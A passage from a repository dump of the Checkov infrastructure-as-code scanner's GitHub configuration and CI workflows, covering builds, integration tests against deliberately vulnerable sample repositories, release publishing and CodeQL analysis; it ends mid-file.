tests/terraform/runner/resources/plan_with_providers/main.tf .*Scans.md .*Pipfile.lock ================================================ FILE: .github/pr-title-checker-config.json ================================================ { "LABEL": { "name": "title needs adjustment", "color": "EEEEEE" }, "CHECKS": { "prefixes": [ "chore: " ], "regexp": "^(fix|feat|break|docs|chore|platform)\\((ansible|argo|arm|azure|bicep|bitbucket|circleci|cloudformation|dockerfile|github|gha|gitlab|helm|kubernetes|kustomize|openapi|sast|sca|secrets|serverless|terraform|general|graph|terraform_plan|terraform_json)\\): " }, "MESSAGES": { "success": "PR title is valid", "failure": "PR title is invalid", "notice": "Title needs to pass regex '(fix|feat|break|docs|chore|platform)\\((ansible|argo|arm|azure|bicep|bitbucket|circleci|cloudformation|dockerfile|github|gha|gitlab|helm|kubernetes|kustomize|openapi|sast|sca|secrets|serverless|terraform|general|graph|terraform_plan|terraform_json)\\): '" } } ================================================ FILE: .github/release-changelog-config.json ================================================ { "categories": [ { "title": "## Breaking Change", "labels": ["break"] }, { "title": "## Feature", "labels": ["feat"] }, { "title": "## Bug Fix", "labels": ["fix"] }, { "title": "## Platform", "labels": ["platform"] }, { "title": "## Documentation", "labels": ["docs"] } ], "sort": { "order": "ASC", "on_property": "title" }, "template": "${{CHANGELOG}}", "pr_template": "- ${{TITLE}} - [#${{NUMBER}}](${{URL}})", "empty_template": "- no noteworthy changes", "label_extractor": [ { "pattern": "([^\\(]+)\\(.+\\): .+", "on_property": "title", "target": "$1" } ], "transformers": [ { "pattern": "([^\\(]+)\\(?([^\\)]+)?\\)?: (.+)", "target": "- **$2:** $3" } ], "max_pull_requests": 100, "max_back_track_time_days": 7 } ================================================ FILE: .github/stale.yml ================================================ # Configuration for probot-stale - https://github.com/probot/stale # Number of days of inactivity before an Issue or Pull Request becomes stale daysUntilStale: 180 # Number of days of inactivity before an Issue or Pull Request with the stale label is closed. # Set to false to disable. If disabled, issues still need to be closed manually, but will remain marked as stale. daysUntilClose: 14 # Only issues or pull requests with all of these labels are check if stale. Defaults to `[]` (disabled) onlyLabels: [] # Issues or Pull Requests with these labels will never be considered stale. Set to `[]` to disable exemptLabels: - pinned - security - nostale # Set to true to ignore issues in a project (defaults to false) exemptProjects: false # Set to true to ignore issues in a milestone (defaults to false) exemptMilestones: false # Set to true to ignore issues with an assignee (defaults to false) exemptAssignees: false # Label to use when marking as stale staleLabel: stale # Comment to post when marking as stale. Set to `false` to disable markComment: > Thanks for contributing to Checkov! We've automatically marked this issue as stale to keep our issues list tidy, because it has not had any activity for 6 months. It will be closed in 14 days if no further activity occurs. Commenting on this issue will remove the stale tag. If you want to talk through the issue or help us understand the priority and context, feel free to add a comment or join us in the Checkov slack channel at codifiedsecurity.slack.com Thanks! # Comment to post when removing the stale label. # unmarkComment: > # Your comment here. # Comment to post when closing a stale Issue or Pull Request. closeComment: > Closing issue due to inactivity. If you feel this is in error, please re-open, or reach out to the community via slack: codifiedsecurity.slack.com Thanks! # Limit the number of actions per hour, from 1-30. Default is 30 limitPerRun: 30 # Limit to only `issues` or `pulls` # only: issues # Optionally, specify configuration settings that are specific to just 'issues' or 'pulls': # pulls: # daysUntilStale: 30 # markComment: > # This pull request has been automatically marked as stale because it has not had # recent activity. It will be closed if no further activity occurs. Thank you # for your contributions. # issues: # exemptLabels: # - confirmed ================================================ FILE: .github/workflows/build.yml ================================================ name: build on: workflow_dispatch: inputs: versionBump: description: 'The part of the version to bump' required: true default: 'patch' type: choice options: - patch - minor - major push: branches: - main paths-ignore: - 'docs/**' - 'INTHEWILD.md' - 'README.md' - 'CHANGELOG.md' - '.github/**' - checkov/version.py - kubernetes/requirements.txt - coverage.svg - '.swm/**' - '.pre-commit-config.yaml' permissions: contents: read concurrency: group: 'build' cancel-in-progress: true jobs: security: uses: ./.github/workflows/security-shared.yml secrets: inherit integration-tests: strategy: fail-fast: true matrix: python: ["3.10", "3.11", "3.12", "3.13"] os: [ubuntu-latest, macos-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v3 - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: version: "v3.19.1" token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 if: ${{ runner.os != 'windows' }} with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone Terragoat - vulnerable terraform run: git clone https://github.com/bridgecrewio/terragoat - name: Clone Cfngoat - vulnerable cloudformation run: git clone https://github.com/bridgecrewio/cfngoat - name: Clone Kubernetes-goat - vulnerable kubernetes run: git clone https://github.com/madhuakula/kubernetes-goat - name: Clone kustomize-goat - vulnerable kustomize run: git clone https://github.com/bridgecrewio/kustomizegoat - name: Create checkov reports run: | # Just making sure the API key tests don't run on PRs bash -c './integration_tests/prepare_data.sh "${{ matrix.os }}" "${{ matrix.python }}"' env: LOG_LEVEL: INFO BC_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} TF_REGISTRY_TOKEN: ${{ secrets.TFC_TOKEN }} GITHUB_PAT: ${{ secrets.GITHUB_TOKEN }} - name: Run integration tests run: | pipenv run pytest integration_tests integration-tests-old-python: strategy: fail-fast: true matrix: python: ["3.9"] os: [ubuntu-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v3 - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: version: "v3.19.1" token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 if: ${{ runner.os != 'windows' }} with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone Terragoat - vulnerable terraform run: git clone https://github.com/bridgecrewio/terragoat - name: Clone Cfngoat - vulnerable cloudformation run: git clone https://github.com/bridgecrewio/cfngoat - name: Clone Kubernetes-goat - vulnerable kubernetes run: git clone https://github.com/madhuakula/kubernetes-goat - name: Clone kustomize-goat - vulnerable kustomize run: git clone https://github.com/bridgecrewio/kustomizegoat - name: Create checkov reports run: | # Just making sure the API key tests don't run on PRs bash -c './integration_tests/prepare_data.sh "${{ matrix.os }}" "${{ matrix.python }}"' env: LOG_LEVEL: INFO BC_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} TF_REGISTRY_TOKEN: ${{ secrets.TFC_TOKEN }} GITHUB_PAT: ${{ secrets.GITHUB_TOKEN }} - name: Run integration tests run: | pipenv run pytest integration_tests prisma-tests: runs-on: [ self-hosted, public, linux, x64 ] env: PYTHON_VERSION: "3.9" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ env.PYTHON_VERSION }} pipenv run pip install pytest pytest-xdist pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone Terragoat - vulnerable terraform run: git clone https://github.com/bridgecrewio/terragoat - name: Run checkov with Prisma creds env: PRISMA_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} run: | pipenv run checkov -s -d terragoat --bc-api-key "$PRISMA_KEY" --repo-id yuvalyacoby/terragoat > checkov_report_prisma.txt grep "prismacloud.io" checkov_report_prisma.txt exit $? sast-integration-tests: strategy: fail-fast: true matrix: python: ["3.10", "3.11", "3.12", "3.13"] os: [ubuntu-latest, macos-latest] runs-on: ${{ matrix.os }} continue-on-error: true # for now it is ok to fail steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone flask - Python repo for SAST run: git clone https://github.com/pallets/flask - name: Clone WebGoat - Java repo for SAST run: git clone https://github.com/WebGoat/WebGoat - name: Clone axios - JavaScript repo for SAST run: git clone https://github.com/axios/axios - name: Create checkov reports env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} run: bash -c './sast_integration_tests/prepare_data.sh' - name: Run integration tests run: | pipenv run pytest sast_integration_tests sast-integration-tests-old-python: strategy: fail-fast: true matrix: python: ["3.9"] os: [ubuntu-latest] runs-on: ${{ matrix.os }} continue-on-error: true # for now it is ok to fail steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone flask - Python repo for SAST run: git clone https://github.com/pallets/flask - name: Clone WebGoat - Java repo for SAST run: git clone https://github.com/WebGoat/WebGoat - name: Clone axios - JavaScript repo for SAST run: git clone https://github.com/axios/axios - name: Create checkov reports env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} run: bash -c './sast_integration_tests/prepare_data.sh' - name: Run integration tests run: | pipenv run pytest sast_integration_tests unit-tests: timeout-minutes: 30 runs-on: ubuntu-latest env: PYTHON_VERSION: "3.9" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - name: Set up Python ${{ env.PYTHON_VERSION }} uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Install dependencies run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ env.PYTHON_VERSION }} pipenv install --dev - name: Test with pytest env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} IS_TEST: true run: | pipenv run python -m pytest tests bump-version: needs: [integration-tests, unit-tests, prisma-tests, sast-integration-tests, integration-tests-old-python, sast-integration-tests-old-python] runs-on: [self-hosted, public, linux, x64] environment: release permissions: contents: write # IMPORTANT: this permission is mandatory for trusted publishing to pypi id-token: write timeout-minutes: 30 env: PYTHON_VERSION: "3.9" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: token: ${{ secrets.GH_PAT_SECRET }} - name: Import GPG key id: import_gpg uses: crazy-max/ghaction-import-gpg@e89d40939c28e39f97cf32126055eeae86ba74ec # v5 with: gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} passphrase: ${{ secrets.PASSPHRASE }} - name: Set up Python ${{ env.PYTHON_VERSION }} uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Install dependencies run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ env.PYTHON_VERSION }} pipenv install - name: Calculate version run: | git fetch --tags --force latest_tag="$(git tag --sort=v:refname | tail -n 1)" echo "latest tag: $latest_tag" if [[ -z "${{ inputs.versionBump }}" ]] then version="patch" else version="${{ inputs.versionBump }}" fi case $version in minor) new_tag=$(echo "$latest_tag" | awk -F. -v a="$1" -v b="$2" -v c="$3" '{printf("%d.%d.%d", $1+a, $2+b+1 , 0)}') ;; major) new_tag=$(echo "$latest_tag" | awk -F. -v a="$1" -v b="$2" -v c="$3" '{printf("%d.%d.%d", $1+a+1, 0 , 0)}') ;; patch) new_tag=$(echo "$latest_tag" | awk -F. -v a="$1" -v b="$2" -v c="$3" '{printf("%d.%d.%d", $1+a, $2+b , $3+1)}') ;; esac echo "new tag: $new_tag" echo "version=$new_tag" >> "$GITHUB_OUTPUT" # grab major version for later image tag usage major_version=$(echo "${new_tag}" | head -c1) echo "major_version=$major_version" >> "$GITHUB_OUTPUT" id: calculateVersion - name: version env: GITHUB_TOKEN: ${{ secrets.PAT_TOKEN }} run: | ## update docs export PYTHONPATH='.' # change the doc links to proper markdown versions export CHECKOV_CREATE_MARKDOWN_HYPERLINKS='True' git pull for i in cloudformation terraform kubernetes serverless arm dockerfile secrets github_configuration gitlab_configuration bitbucket_configuration github_actions gitlab_ci bicep openapi bitbucket_pipelines argo_workflows circleci_pipelines azure_pipelines ansible all do export scansdoc="docs/5.Policy Index/$i.md" echo "---" > "$scansdoc" echo "layout: default" >> "$scansdoc" echo "title: $i resource scans" >> "$scansdoc" echo "nav_order: 1" >> "$scansdoc" echo "---" >> "$scansdoc" echo "" >> "$scansdoc" echo "# $i resource scans (auto generated)" >> "$scansdoc" echo "" >> "$scansdoc" pipenv run python checkov/main.py --list --framework "$i" >> "$scansdoc" done #add cloudformation scans to serverless export scansdoc="docs/5.Policy Index/serverless.md" pipenv run python checkov/main.py --list --framework cloudformation >> "$scansdoc" git add "docs/5.Policy Index/*" git commit --reuse-message="HEAD@{1}" || echo "No changes to commit" git config --global user.name 'GitHub Actions Bot' git config --global user.email 'actions@github.com' new_tag=${{ steps.calculateVersion.outputs.version }} echo "new tag: $new_tag" ## update python version echo "version = '$new_tag'" > 'checkov/version.py' echo "checkov==$new_tag" > 'kubernetes/requirements.txt' git commit --reuse-message="HEAD@{1}" checkov/version.py kubernetes/requirements.txt || echo "No changes to commit" git push origin git tag $new_tag git push --tags id: version - name: create python package run: | pipenv run python setup.py sdist bdist_wheel - name: Publish a Python distribution to PyPI uses: pypa/gh-action-pypi-publish@76f52bc884231f62b9a034ebfe128415bbaabdfc # v1 - name: sleep and wait for package to refresh run: | sleep 2m outputs: version: ${{ steps.calculateVersion.outputs.version }} major_version: ${{ steps.calculateVersion.outputs.major_version }} publish-checkov-dockerhub: needs: bump-version uses: bridgecrewio/gha-reusable-workflows/.github/workflows/publish-image.yaml@main permissions: contents: read id-token: write # Enable OIDC packages: write with: image_name_dockerhub: bridgecrew/checkov image_name_ghcr: ghcr.io/${{ github.repository }} image_tag_full: ${{ needs.bump-version.outputs.version }} image_tag_short: ${{ needs.bump-version.outputs.major_version }} runner: "['self-hosted', 'public', 'linux', 'x64']" secrets: BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }} DOCKERHUB_PASSWORD: ${{ secrets.DOCKERHUB_PASSWORD }} publish-checkov-k8s-dockerhub: needs: bump-version uses: bridgecrewio/gha-reusable-workflows/.github/workflows/publish-image.yaml@main permissions: contents: read id-token: write # Enable OIDC packages: write with: image_name_dockerhub: bridgecrew/checkov-k8s image_name_ghcr: ghcr.io/${{ github.repository }}-k8s image_tag_full: ${{ needs.bump-version.outputs.version }} image_tag_short: ${{ needs.bump-version.outputs.major_version }} dockerfile_path: kubernetes/Dockerfile runner: "['self-hosted', 'public', 'linux', 'x64']" secrets: BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }} DOCKERHUB_PASSWORD: ${{ secrets.DOCKERHUB_PASSWORD }} update-bridgecrew-projects: needs: publish-checkov-dockerhub runs-on: [self-hosted, public, linux, x64] environment: release steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - name: update checkov release run: | curl -X POST "https://jenkins-webhook.bridgecrew.cloud/buildByToken/build?job=Open-Source/upgrade-checkov&token=${{ secrets.BC_JENKINS_TOKEN }}" # trigger checkov-action update curl -XPOST -u "${{ secrets.GH_PAT_USER}}:${{secrets.GH_PAT_SECRET}}" -H "Accept: application/vnd.github.everest-preview+json" -H "Content-Type: application/json" https://api.github.com/repos/bridgecrewio/checkov-action/dispatches --data '{"event_type": "build"}' # trigger bridgecrew-py update curl -XPOST -u "${{ secrets.GH_PAT_USER}}:${{secrets.GH_PAT_SECRET}}" -H "Accept: application/vnd.github.everest-preview+json" -H "Content-Type: application/json" https://api.github.com/repos/bridgecrewio/bridgecrew-py/dispatches --data '{"event_type": "build"}' # trigger whorf update curl -XPOST -u "${{ secrets.GH_PAT_USER}}:${{secrets.GH_PAT_SECRET}}" -H "Accept: application/vnd.github.everest-preview+json" -H "Content-Type: application/json" https://api.github.com/repos/bridgecrewio/whorf/dispatches --data '{"event_type": "release"}' ================================================ FILE: .github/workflows/codeql-analysis.yml ================================================ # For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # name: "CodeQL" on: push: branches: [ main ] pull_request: # The branches below must be a subset of the branches above branches: [ main ] schedule: - cron: '17 4 * * 2' workflow_dispatch: permissions: contents: read jobs: analyze: name: Analyze runs-on: [self-hosted, public, linux, x64] permissions: actions: read contents: read security-events: write steps: - name: Checkout repository uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - name: Set up Python uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: '3.10' - name: Setup python for CodeQL run: | python -m pip install --no-cache-dir --upgrade pip pipenv echo "CODEQL_PYTHON=$(which python)" >> "$GITHUB_ENV" - name: Check Pipfile.lock changed uses: tj-actions/verify-changed-files@a1c6acee9df209257a246f2cc6ae8cb6581c1edf # v13 id: changed_files with: files: Pipfile.lock - name: Setup dependencies if they changed if: steps.changed_files.outputs.files_changed == 'true' run: | pipenv lock -r > requirements.txt pip install -r requirements.txt - name: Initialize CodeQL uses: github/codeql-action/init@45775bd8235c68ba998cffa5171334d58593da47 # v2 with: languages: python setup-python-dependencies: false config-file: ./.github/codeql-config.yml - name: Autobuild uses: github/codeql-action/autobuild@45775bd8235c68ba998cffa5171334d58593da47 # v2 - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@45775bd8235c68ba998cffa5171334d58593da47 # v2 ================================================ FILE: .github/workflows/coverage.yaml ================================================ name: Coverage on: schedule: - cron: '0 0 * * 0' workflow_dispatch: permissions: contents: read jobs: update-coverage: runs-on: [ self-hosted, public, linux, x64 ] permissions: contents: write environment: release env: PYTHON_VERSION: "3.9" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: token: ${{ secrets.GH_PAT_SECRET }} - name: Import GPG key id: import_gpg uses: crazy-max/ghaction-import-gpg@e89d40939c28e39f97cf32126055eeae86ba74ec # v5 with: gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} passphrase: ${{ secrets.PASSPHRASE }} - name: Set up Python ${{ env.PYTHON_VERSION }} uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Install dependencies run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ env.PYTHON_VERSION }} pipenv install --dev pipenv run pip install pytest - name: Test with pytest run: | pipenv run pytest --cov-report term --cov=checkov tests pipenv run python -m coverage_badge -o coverage.svg -f git commit -m "Update coverage" coverage.svg || echo "No changes to commit" ================================================ FILE: .github/workflows/jekyll-gh-pages.yml ================================================ # Sample workflow for building and deploying a Jekyll site to GitHub Pages name: Deploy Jekyll with GitHub Pages dependencies preinstalled on: # Runs on pushes targeting the default branch push: branches: ["main"] # Allows you to run this workflow manually from the Actions tab workflow_dispatch: # Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages permissions: contents: read pages: write id-token: write # Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued. # However, do NOT cancel in-progress runs as we want to allow these production deployments to complete. concurrency: group: "pages" cancel-in-progress: false jobs: # Build job build: runs-on: [self-hosted, public, linux, x64] steps: - name: Checkout uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - name: Setup Pages uses: actions/configure-pages@983d7736d9b0ae728b81ab479565c72886d7745b # v3 - name: Build with Jekyll uses: actions/jekyll-build-pages@44a6e6beabd48582f863aeeb6cb2151cc1716697 # v1 with: source: ./docs destination: ./_site - name: Upload artifact uses: actions/upload-pages-artifact@0252fc4ba7626f0298f0cf00902a25c6afc77fa8 # v2 # Deployment job deploy: environment: name: github-pages url: ${{ steps.deployment.outputs.page_url }} runs-on: [self-hosted, public, linux, x64] needs: build steps: - name: Deploy to GitHub Pages id: deployment uses: actions/deploy-pages@d6db90164ac5ed86f2b6aed7e0febac5b3c0c03e # v2 ================================================ FILE: .github/workflows/nightly.yml ================================================ name: Nightly Run on: schedule: # daily at 23:00 UTC - cron: "0 23 * * *" workflow_dispatch: permissions: contents: read jobs: github-release: runs-on: [self-hosted, public, linux, x64] environment: release permissions: contents: write steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: fetch-depth: 0 token: ${{ secrets.GH_PAT_SECRET }} - name: Prepare Release id: prepare_release run: | # grab latest release and tag to compare and decide to create a new one create_release=true latest_gh_release=$(curl -s "https://api.github.com/repos/${{ github.repository }}/releases/latest" | grep -Po '"tag_name": "\K.*?(?=")') latest_tag=$(git describe --abbrev=0 --tags) if [ "$latest_gh_release" = "$latest_tag" ] then create_release=false fi echo "create_release=$create_release" >> "$GITHUB_OUTPUT" echo "latest_release_version=$latest_gh_release" >> "$GITHUB_OUTPUT" echo "version=$latest_tag" >> "$GITHUB_OUTPUT" - name: Build GitHub Release changelog if: steps.prepare_release.outputs.create_release == 'true' id: build_github_release uses: mikepenz/release-changelog-builder-action@5f3409748e2230350e149a7f7b5b8e9bcd785d44 # v3 env: GITHUB_TOKEN: ${{ secrets.GH_PAT_SECRET }} with: configuration: ".github/release-changelog-config.json" fromTag: ${{ steps.prepare_release.outputs.latest_release_version }} toTag: ${{ steps.prepare_release.outputs.version }} - name: Create GitHub Release if: steps.build_github_release.outputs.changelog != '' uses: softprops/action-gh-release@da05d552573ad5aba039eaac05058a918a7bf631 # v2.2.2 id: create_github_release with: tag_name: ${{ steps.prepare_release.outputs.version }} name: ${{ steps.prepare_release.outputs.version }} body: ${{ steps.build_github_release.outputs.changelog }} - name: Update CHANGELOG.md if: steps.build_github_release.outputs.changelog != '' uses: stefanzweifel/changelog-updater-action@a938690fad7edf25368f37e43a1ed1b34303eb36 # v1 with: latest-version: ${{ steps.prepare_release.outputs.version }} release-notes: ${{ steps.build_github_release.outputs.changelog }} - name: Commit updated CHANGELOG.md if: steps.build_github_release.outputs.changelog != '' uses: stefanzweifel/git-auto-commit-action@b863ae1933cb653a53c021fe36dbb774e1fb9403 # v5 with: commit_message: "chore: update release notes" file_pattern: CHANGELOG.md outputs: upload_url: ${{ steps.create_github_release.outputs.upload_url }} version: ${{ steps.prepare_release.outputs.version }} build-release-artifacts: strategy: matrix: include: - os: macos-latest name: darwin suffix: '' - os: ubuntu-latest name: linux suffix: '' - os: windows-latest name: windows suffix: '.exe' needs: [github-release] if: needs.github-release.outputs.upload_url != '' runs-on: ${{ matrix.os }} permissions: contents: write env: PYTHON_VERSION: "3.9" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: fetch-depth: 0 token: ${{ secrets.GITHUB_TOKEN }} - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Install deps and run pyinstaller run: | pipenv sync pipenv run pip install pyinstaller - name: Build executable run: pipenv run pyinstaller checkov.spec - name: Windows - Test executable if: matrix.os == 'windows-latest' shell: bash # make sure it doesn't crash run: ./dist/checkov.exe -s -d tests/terraform/checks/resource/alicloud - name: Windows - zip artifact if: matrix.os == 'windows-latest' run: tar.exe -a -c -f checkov.zip dist\\checkov.exe - name: Linux/Mac - Test executable if: matrix.os != 'windows-latest' # make sure it doesn't crash run: ./dist/checkov -s -d tests/terraform/checks/resource/alicloud - name: Linux/Mac - zip artifact if: matrix.os != 'windows-latest' run: zip checkov.zip dist/checkov - name: Upload Release Asset uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.github-release.outputs.upload_url }} asset_path: checkov.zip asset_name: checkov_${{ matrix.name }}_X86_64.zip asset_content_type: application/zip build-release-artifact-linux-arm: needs: [ github-release ] if: needs.github-release.outputs.upload_url != '' runs-on: [self-hosted, public, linux, arm64] container: image: arm64v8/python:3.9 permissions: contents: write steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: fetch-depth: 0 token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Install deps and run pyinstaller run: | pipenv sync pipenv run pip install pyinstaller - name: Build executable run: pipenv run pyinstaller checkov.spec - name: zip artifact run: | apt-get update apt install zip zip checkov.zip dist/checkov - name: Upload Release Asset uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.github-release.outputs.upload_url }} asset_path: checkov.zip asset_name: checkov_linux_arm64.zip asset_content_type: application/zip ================================================ FILE: .github/workflows/pipenv-update.yml ================================================ name: pipenv-update on: schedule: - cron: '8 22 * * 1' workflow_dispatch: permissions: contents: read jobs: pipenv-update: runs-on: [self-hosted, public, linux, x64] permissions: contents: write pull-requests: write env: PYTHON_VERSION: "3.9" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: ref: ${{ github.head_ref }} token: ${{ secrets.GH_PAT_SECRET }} - name: Import GPG key id: import_gpg uses: crazy-max/ghaction-import-gpg@e89d40939c28e39f97cf32126055eeae86ba74ec # v5 with: gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} passphrase: ${{ secrets.PASSPHRASE }} - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - run: | git config --local user.email "action@github.com" git config --local user.name "GitHub Action" pipenv update git add -u git commit -m "update pipenv packages" env: GITHUB_TOKEN: ${{ secrets.PAT_TOKEN }} - name: Create Pull Request id: cpr uses: peter-evans/create-pull-request@271a8d0340265f705b14b6d32b9829c1cb33d45e # v5 with: token: ${{ secrets.PAT_TOKEN }} title: '[AUTO-PR] Update pipenv packages' body: | bump pipenv packages - Auto-generated by [pipenv-update github action](https://github.com/bridgecrewio/checkov/blob/main/.github/workflows/pipenv-update.yml) labels: automated pr branch: pipenvfix branch-suffix: timestamp ================================================ FILE: .github/workflows/pr-test.yml ================================================ name: PR Test on: pull_request permissions: contents: read jobs: lint: uses: bridgecrewio/gha-reusable-workflows/.github/workflows/pre-commit.yaml@main with: python-version: "3.9" danger-check: runs-on: [ self-hosted, public, linux, x64 ] permissions: contents: read pull-requests: read steps: - name: Checkout code uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - name: Install Node.js uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v4 with: node-version: "16" - name: Install and run DangerJS env: GITHUB_TOKEN: ${{ 